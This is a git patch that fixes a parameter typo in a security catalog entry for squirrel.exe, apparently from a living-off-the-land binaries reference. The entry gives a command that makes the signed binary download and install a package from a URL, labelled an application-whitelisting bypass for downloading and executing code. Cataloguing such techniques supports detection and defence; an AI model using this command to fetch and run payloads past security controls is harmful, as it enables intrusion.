From daf4802cfae01b0fd64f8f2675fb974a5f1537ed Mon Sep 17 00:00:00 2001 From: Nathan <98712264+huldf@users.noreply.github.com> Date: Fri, 12 Jul 2024 19:13:15 +0200 Subject: [PATCH] fix parameter typo for squirrel.exe --- yml/OtherMSBinaries/Squirrel.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/yml/OtherMSBinaries/Squirrel.yml b/yml/OtherMSBinaries/Squirrel.yml index ab498b9e5..73d68c66b 100644 --- a/yml/OtherMSBinaries/Squirrel.yml +++ b/yml/OtherMSBinaries/Squirrel.yml @@ -25,7 +25,7 @@ Commands: Privileges: User MitreID: T1218 OperatingSystem: Windows 7 and up with Microsoft Teams installed - - Command: squirrel.exe --updateRoolback=[url to package] + - Command: squirrel.exe --updateRollback=[url to package] Description: The above binary will go to url and look for RELEASES file, download and install the nuget package. Usecase: Download and execute binary Category: AWL Bypass